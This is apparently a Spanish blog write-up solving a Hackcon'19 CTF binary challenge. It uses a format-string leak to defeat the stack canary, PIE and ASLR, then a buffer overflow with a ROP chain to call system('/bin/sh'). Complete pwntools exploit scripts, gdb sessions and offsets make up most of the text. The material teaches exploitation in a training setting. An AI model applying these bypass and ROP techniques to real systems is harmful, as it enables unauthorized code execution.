En este post de exploiting vamos a enfrentarnos a un binario de linux con todas las protecciones activas. En dicho binario nos encontramos un format string y un buffer overflow, el primero nos servirá para ‘leakear’ las direcciones necesaria para bypassear las protecciones y el segundo nos servirá para tomar el control del proceso.
Protecciones
Por si tenéis dudas sobre qué hace cada protección os hago un breve resumen:
- NX: El bit NX (no ejecutar) es una tecnología utilizada en las CPUs que garantiza que ciertas áreas de memoria (como el stack y el heap) no sean ejecutables, y otras, como la sección del código, no puedan ser escritas. Básicamente evita que podamos utilizar técnicas más sencillas como hacíamos en este post en el que escribíamos un shellcode en la pila y luego lo ejecutábamos.
- ASLR: básicamente randomiza la base de las bibliotecas (libc) para que no podamos saber la dirección de memoria de funciones de la libc. Con el ASLR se evita la técnica Ret2libc y nos obliga a tener que filtrar direcciones de la misma para poder calcular base.
- PIE: esta técnica, como el ASLR, randomiza la dirección base pero en este caso es del propio binario. Esto nos dificulta el uso de gadgets o funciones del propio binario.
- Canario: Normalmente, se genera un valor aleatorio en la inicialización del programa, y se inserta al final de la zona de alto riesgo donde se produce el desbordamiento de la pila, al final de la función, se comprueba si se ha modificado el valor de canario.
Análisis
El binario es un ELF de 64-bits: B0f.
$ file b0f b0f: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3cd41764dce3415f6d1f0c5d5e27edb759d0798e, not stripped $ checksec b0f [*] '/root/B0f/b0f' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled $ ./b0f Enter name : Iron Hello Iron Enter sentence : AAAA
Como veis, están todas las protecciones activas. Lo abrimos con IDA y tras “limpiar” un poco el pseudo-C obtenemos:
int main(int argc, const char **argv) { char s[8]; printf("Enter name : "); fgets(s, 16, stdin); puts("Hello"); printf(s, 16); printf("Enter sentence : "); fgets(s, 256, stdin); return 0; }
Con GDB vemos que tras el fgets se comprueba el canario:
0x000000000000081a <+160>: mov rcx,QWORD PTR [rbp-0x8] 0x000000000000081e <+164>: xor rcx,QWORD PTR fs:0x28 0x0000000000000827 <+173>: je 0x82e <main+180> 0x0000000000000829 <+175>: call 0x630 <__stack_chk_fail@plt>
A pesar de tener todas las protecciones activas, este reto no parece muy complejo.
Nada más leer el código en C vemos un Format String en la linea printf(s, 16); y un buffer overflow en fgets(s, 256, stdin);.
El format string es de solo 16 bytes pero nos puede servir para bypassear el canario, el PIE y el ASLR.
Leaks
Como son solo 16 bytes no podemos, en una sola ejecución, ver todas las posibles salidas del format string así que nos hacemos un fuzzer:
#!/usr/bin/env python from pwn import * e = ELF("./b0f") for i in range(20): io = e.process(level="error") io.sendline("AAAA %%%d$lx" % i) io.recvline() print("%d - %s" % (i, io.recvline().strip())) io.close()
En la octava salida vemos las 4 As que hemos introducido (0x41414141) luego podriamos ‘sobreescribir’ direcciones de memoria, las salidas que empiezan por 0x7f corresponden con direcciones de memoria de la libc luego podremos leakear para calcular su offset (ASLR), las salidas como la 1 y la 12 quizás nos sirvan para calcular el offset del PIE y las salidas 11 y 19 parecen ser el canary.
LIBC Leak
Usando gdb vamos a leakear una dirección de la libc (%2$lx) y buscar el offset de dicha salida:
gdb-peda$ r Starting program: /root/B0f/b0f Enter name : %2$lx Hello 7ffff7fa28c0 Enter sentence : ^C Program received signal SIGINT, Interrupt. gdb-peda$ vmmap Start End Perm Name [...] 0x00007ffff7de5000 0x00007ffff7e07000 r--p /usr/lib/x86_64-linux-gnu/libc-2.28.so [...] gdb-peda$ p/x 0x07ffff7fa28c0 - 0x00007ffff7de5000 $1 = 0x1bd8c0
Como veis somos capaces de filtrar una dirección de la LIBC y solo tendremos que restarle 0x1bd8c0 para obtener su dirección base.
0x07ffff7fa28c0 – 0x07ffff7de5000 = 0x1bd8c0
Canary Leak
Para calcular si el canario corresponde con la salida 11 o 19 del format string podemos usar gdb de nuevo. Basta con introducir %11$lx o %19$lx y comprobar, con un breakpoint, el valor del canario que se almacena en RCX. Si coincide con alguno de los dos, ya podremos leakear fácilmente el canario.
gdb-peda$ b * 0x000055555555481e Breakpoint 1 at 0x55555555481e gdb-peda$ r Starting program: /root/B0f/b0f Enter name : %11$lx Hello 653e968ff57a9a00 Enter sentence : A Breakpoint 1, 0x000055555555481e in main () gdb-peda$ p $rcx $1 = 0x653e968ff57a9a00
gdb-peda$ r Starting program: /root/B0f/b0f Enter name : %19$lx Hello 9fc6f16c66e05032 Enter sentence : A Breakpoint 1, 0x000055555555481e in main () gdb-peda$ p $rcx $2 = 0xb880af3b86db6000
Perfecto! En la salida 11 obtenemos el valor del canario.
Binary Base Leak (PIE)
Para poder ejecutar código arbitrario necesitaremos intrucciones del propio binario, al estar el PIE activo necesitamos leakearlo también.
Vamos usar GDB y a probar con la salida 12:
gdb-peda$ r Starting program: /root/B0f/b0f Enter name : %12$lx Hello 555555554830 Enter sentence : ^C Program received signal SIGINT, Interrupt. gdb-peda$ vmmap Start End Perm Name 0x0000555555554000 0x0000555555555000 r-xp /root/B0f/b0f [...] gdb-peda$ p/x 0x0555555554830 - 0x0000555555554000 $2 = 0x830
Como veis ha funcionado, ahora podremos calcular la base del binario en tiempo de ejecucción. Solo tendremos que restar 0x830 a la salida 12 del format string.
Relleno
Vamos ahora a calcular el relleno que debemos usar para sobre escribir al canario y después la dirección de retorno.
gdb-peda$ pattern create 64 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH' gdb-peda$ r Starting program: /root/B0f/b0f Enter name : A Hello A Enter sentence : AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH Breakpoint 1, 0x000055555555481e in main () gdb-peda$ p/x $rcx $1 = 0x413b414144414128 gdb-peda$ pattern offset 0x413b414144414128 4700422384665051432 found at offset: 24
“A”*24 + CANARY + “A”*8 + PATRÓN
#!/usr/bin/env python from pwn import * e = ELF('b0f') io = e.process() context.terminal = ['tmux', 'splitw', '-h'] gdb.attach(io) io.sendline('%11$lx') io.recvline() leak = io.recvline() canary = int(leak.strip(), 16) log.info("Canary: %s" % (hex(canary))) payload = "A"*24 + p64(canary) + "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH" io.sendline(payload) io.interactive()
Ya sabemos el offset hasta la dirección de retorno, asi que podemos controlar el RIP:
“A”*24 + CANARY + “A”*8 + ROP
Explotación
Con todo lo anterior en mente ya podemos empezar a escribir el exploit. Lo primero será leakear mediante el format string: %2$lx (libc), %11$lx (canary) y %12$lx (pie).
Podriamos hacerlo todo en una sola ejecución: leakear y ejecutar system(‘/bin/sh’) pero para el format string solo disponemos de 16 bytes.
len(“%2$lx-%11$lx-%12$lx”) = 19
Pero esto no es un tanto problema, se soluciona llamando al main tras el primer leak.
El exploit queda así:
– Leak 1: PIE y Canario
– Payload 1: “A”*24 + Canario + “A”*8 + main()
– Leak 2: LIBC
– Payload 2: “A”*24 + Canario + “A”*8 + system(“/bin/sh”)
Al estar en un sistema de 64 bits, al forma de llamar a pasar argumentos a las funciones (system en este caso) es con el registro RDI.
Necesitamos: Gadget POP RDI + ARG_1 + FUNCION
$ ROPgadget --binary b0f | grep "pop rdi" 0x0000000000000893 : pop rdi ; ret
#!/usr/bin/env python from pwn import * e = ELF('b0f') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) io = e.process() # context.terminal = ['tmux', 'splitw', '-h'] # gdb.attach(io) io.sendline('%12$lx-%11$lx') # PIE y CANARIO io.recvline() leak = io.recvline() pie = int(leak.strip().split('-')[0], 16) - 0x830 # 0x2139260 canary = int(leak.strip().split('-')[1], 16) log.info("Pie: %s" % hex(pie)) log.info("Canary: %s" % hex(canary)) payload = flat( "A"*24, canary, "A"*8, pie + e.sym['main'], endianness = 'little', word_size = 64, sign = False) io.sendline(payload) io.sendline('%2$lx') # libc io.recvline() leak = io.recvline() libc.address = int(leak.strip(), 16) - 0x1bd8c0 log.info("Libc: %s" % hex(libc.address)) payload = flat( "A"*24, canary, "A"*8, pie + 0x0893, # 0x0000000000000893 : pop rdi ; ret next(libc.search('/bin/sh')), libc.sym['system'], endianness = 'little', word_size = 64, sign = False) io.sendline(payload) io.interactive()
*Podriamos ahorrarnos el leak del PIE utilizando un pop rdi; ret de la libc.
#!/usr/bin/env python from pwn import * e = ELF('b0f') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) io = e.process() io.sendline('%2$lx-%11$lx') io.recvline() leak = io.recvline() libc.address = int(leak.strip().split('-')[0], 16) - 0x1bd8c0 canary = int(leak.strip().split('-')[1], 16) log.info("Libc: %s" % hex(libc.address)) log.info("Canary: %s" % hex(canary)) payload = flat( "A"*24, canary, "A"*8, libc.address + 0x0000000000023a5f, # pop rdi ; ret next(libc.search('/bin/sh')), libc.sym['system'], endianness = 'little', word_size = 64, sign = False) io.sendline(payload) io.interactive()
Este reto es parte del CTF: Hackcon’19
Podeis ver la resolución sin necesidad de bypassear el PIE en mi github.
oLA Soy SusCriptor like y comentario
That’s a beautiful exploit. Great Explanation as well.
From where I can get the binary ?
+1